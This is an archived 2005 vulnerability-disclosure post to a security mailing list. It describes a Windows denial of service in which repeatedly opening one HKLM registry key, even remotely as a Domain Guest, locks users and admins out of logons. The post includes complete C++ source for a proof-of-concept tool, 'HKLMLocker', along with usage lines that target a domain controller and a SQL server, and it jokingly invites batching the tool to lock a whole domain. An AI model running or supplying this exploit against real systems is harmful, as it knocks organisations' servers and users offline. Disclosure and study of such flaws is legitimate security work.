HKLM locking

From: Vladimir Kraljevic (vladimir_kraljevic_at_yahoo.com)
Date: 01/26/05

  • Next message: Carlos Ulver: "RealPlayer 10.5 Denial of Service and possible Overflow"
    Date: Wed, 26 Jan 2005 06:34:46 -0800 (PST)
    To: vuln-dev@securityfocus.com
    
    

    Dear list,

    please inspect the following, your input is welcome. Vendors (Microsoft
    and unspecified AV company) are contacted two months ago, I'm not
    satisfied with their response and here is the post.
    Someone from Microsoft told me that because the code needs to be
    executed locally on the machine in the domain, it is not highly
    critical for the mission. Perhaps I was able to better explain to them
    what is happening, but I was irritated by the fact that we (my company)
    paid them for several thousand licences, including the Data Center, and
    the Microsoft technical support was not interested in exploring the
    possibilities where this issue can lead. I felt a little bit
    disappointed.

    # A list of vulnerable applications/operating systems/device/etc with
    version numbers and patch levels.

    Windows NT, possibly *.*, tested on Windows 2000, XP, 2003 regardless
    of patch level.

    # A list of non-vulnerable applications/operating systems/devices/etc
    with version numbers and patch levels.

    Not tested with Windows NT 4.0, despite that, there are no known
    non-vulnerable servers.
    It is not possible (in my experience) to lock the machine from the
    VBScript or JScript, please correct me if I'm wrong.

    # A detailed discussion of the vulnerability and the environment in
    which it was found.

    Vuln was found in the production, on SQL servers, running 40+ days.
    Vulnerability was discovered because one, for now unnamed Anti Virus
    product, three months ago.
    Anti Virus is not closing open registry handles, and that leads to the
    lock up.

    What happens?

    <CLAIM>
    If you open HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion key too
    much (about 2^16) times from one process, even remotely, logged on at
    least as Domain Guest, you are able to deny access to everyone through
    the terminal services including domain admins, enterprise admins, etc.
    Locally, you are denying access to the users whose profiles are not yet
    created on particular machine, regardless of their privileges, because
    the profile cannot be created and request fails with "Insufficient
    resources" error.
    </CLAIM>

    # A detailed discussion on how to reproduce the vulnerability, possibly
    including exploit programs.

    Just log on to the domain, group membership required in default
    (immediate post-install, no policy hardening) environment is "Domain
    Guests".
    Build and run HKLMLocker.exe. If you in addition pass the name of the
    server as the argument, lock will be performed on that server.
    Examples:

      HKLMLocker
        This will lock your local machine.

      HKLMLocker sql.fabrikam.microsoft.com
        This will lock Microsoft's one and only SQL server :)

      HKLMLocker.exe %userdomain%
        This will probably shoot your DC in the foot ;)

    The cpp source follows. You will need tchar.h. Make your own "Lock the
    domain" game, I didn't want to implement that functionality. But for
    the script kiddie, it is not a problem to make a batch file :)

    <CODE>
    #include <windows.h>
    #include <conio.h>
    #include <tchar.h>

    #define MAX_KEYS 1048576

    void PrintLastErrorString(DWORD gla);

    int _tmain(int argc, _TCHAR* argv[])
    {
            _ftprintf(stdout,
                                                    _T("\n")
                                                    _T(".:. HKLM Locker POC Tool (C)2005 Vladimir Kraljevic .:.\n")
                                                    _T("\n")
                                                    _T("..:: Usage ::..\n")
                                                    _T(" HKLMLocker.exe [machine name or its IP address]\n")
                                                    _T("\n")
                                                    _T("..:: Examples ::..\n")
                                                    _T(" HKLMLocker.exe \\\\maindc.fabrikam.microsoft.com\n")
                                                    _T(" HKLMLocker.exe 10.0.0.1\n")
                                                    _T("\n")
                                                    _T(" - if machine name is not supplied it'll run on local
    machine\n")
                                                    _T(" - in the first step it locks specified target, then waits
    for enter\n")
                                                    _T(" - when you press enter, it will close the resources and free
    the target\n")
                                                    _T("\n\n")
                                                    );

            HKEY hkMachine=HKEY_LOCAL_MACHINE;
            if(argc == 2) {
                    HKEY hk=NULL;
                    SetLastError(NO_ERROR);
                    if(RegConnectRegistry(argv[1], HKEY_LOCAL_MACHINE,
    &hk)==ERROR_SUCCESS) {
                            hkMachine=hk;
                            _ftprintf(stdout, _T("\nINFO: Using HKLM on machine %s\n"),
    argv[1]);
                    } else {
                            _ftprintf(stderr, _T("\nERROR: Failed to open HKLM on machine
    %s\n"), argv[1]);
                            PrintLastErrorString(GetLastError());
                            return -1;
                    }
            }
            _fputts(_T("\n"), stdout);

            HKEY* pkey;
            if((pkey=(HKEY*)malloc(sizeof(HKEY)*MAX_KEYS))==NULL) {
                    _ftprintf(stderr, _T("\nERROR: Failed to alloc %u bytes\n"),
    sizeof(HKEY)*MAX_KEYS);
                    goto L_end;
            }

            int ixKey=0;
            for(int i=0; i < MAX_KEYS; i++) {
                    LONG result;
                    HKEY hk;

                    result=RegOpenKeyEx(hkMachine,
                                                                                                    _T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"),
                                                                                                    0,
                                                                                                    KEY_READ,
                                                                                                    &hk);
                    if(result==ERROR_SUCCESS) {
                            if(i%100==0)
                                    _ftprintf(stdout, _T("\rOpening key % -16u"), i);
                            pkey[ixKey++]=hk;
                    } else {
                            PrintLastErrorString(GetLastError());
                            _ftprintf(stdout, _T("\nERROR: Error occured on key ordinal %u
    (thats OK for unpatched system :)"), i, ixKey);
                            break;
                    }
            }

            _fputts(_T("\nINPUT NEEDED: Waiting for a key to proceed to resource
    freeing\n"), stderr);
            getch();
            _fputts(_T("\n"), stdout);

            for(int i=0; i < ixKey; i++) {
                    if(i%100==0)
                            _ftprintf(stdout, _T("\rFreeing key % -16u"), i);
                    RegCloseKey(pkey[i]);
            }
            _ftprintf(stdout, _T("\rFreeing key % -16u\n"), ixKey);

            free(pkey);

    L_end:
            if(hkMachine!=HKEY_LOCAL_MACHINE)
                    RegCloseKey(hkMachine);

            _fputts(_T("\nINPUT NEEDED: Waiting for a key to exit\n"), stderr);
            getch();

            return 0;
    }

    void PrintLastErrorString(DWORD gla)
    {
            if(gla==NO_ERROR)
                    return;
            PVOID pbuffer=NULL;
            if(!FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|
                                                                                    FORMAT_MESSAGE_FROM_SYSTEM,
                                                                                    NULL,
                                                                                    gla,
                                                                                    0,
                                                                                    (LPTSTR)&pbuffer,
                                                                                    65535/sizeof(TCHAR),
                                                                                    NULL)) {
                    _ftprintf(stderr, _T("\nERROR: Failed to format message for
    GetLastError() code %u (%#08x)\n"), gla, gla);
                    return;
            }
            _ftprintf(stderr, _T("\nERROR: DWORD=%u (%#08x), formatted: %s\n"),
    gla, gla, pbuffer);
            LocalFree(pbuffer);
    }
    </CODE>

    # A detailed discussion of solutions, fixes or possible work-arounds.
    # References to information related to the vulnerability.
    # Appropriate credit if the vulnerability was found by someone else.

    Solution is in the producer's hands, since no source code exists.
    You can harden this particular registry key in order to additionaly
    tighten the possibility of malicious locking.

    I'm still trying to prove to the Anti Virus technical support that the
    executable that leaks is theirs (what is clearly visible from
    ProcExplorer / SysInternals.com), what is the problem etc., I'm pretty
    irritated so far. In one week you will know the name of the Anti Virus
    vendor if they decide to go by the hard lane. I already noticed them
    several times, and during the period of three months I did everything
    they needed, but we are on the beginning.

    I hope that they are subscribed to Vuln-Dev@SecurityFocus.com.

                    
    __________________________________
    Do you Yahoo!?
    The all-new My Yahoo! - Get yours free!
    http://my.yahoo.com
     


  • Next message: Carlos Ulver: "RealPlayer 10.5 Denial of Service and possible Overflow"

    Relevant Pages

    • HKLM locking
      ... It is not possible to lock the machine from the ... Vulnerability was discovered because one, ... server as the argument, lock will be performed on that server. ... void PrintLastErrorString(DWORD gla); ...
      (Bugtraq)
    • Re: Database path from DSN (MSDE) (2nd. attempt)
      ... it is not possible to open Access in exclusive mode. ... a lock field using MsAccess (I didn't continue testing with SQL ... BeginTrans/CommitTrans pairs during the EOD. ... >In SQL Server, have a table that has a field that indicates all uses should ...
      (microsoft.public.vc.mfc)
    • Re: [Full-Disclosure] Vulnerability Disclosure Debate
      ... You see, with a lock, the primary purpose of it is ... or of other requirements than personal security. ... there is only one vendor that I'm aware of that can do that -- Microsoft ... code for every vulnerability eliminates the notion of difficulty to exploit, ...
      (Full-Disclosure)
    • RE: Desktop goes blank after selecting Lock from Loggin Screen
      ... it occurs once I choose to log off or lock the server. ... Microsoft CSS Online Newsgroup Support ... newsgroups so that they can be resolved in an efficient and timely manner. ...
      (microsoft.public.windows.server.sbs)
    • Re: [Full-Disclosure] Vulnerability Disclosure Debate
      ... You see, with a lock, the primary purpose of it is ... or of other requirements than personal security. ... there is only one vendor that I'm aware of that can do that -- Microsoft ... code for every vulnerability eliminates the notion of difficulty to exploit, ...
      (Full-Disclosure)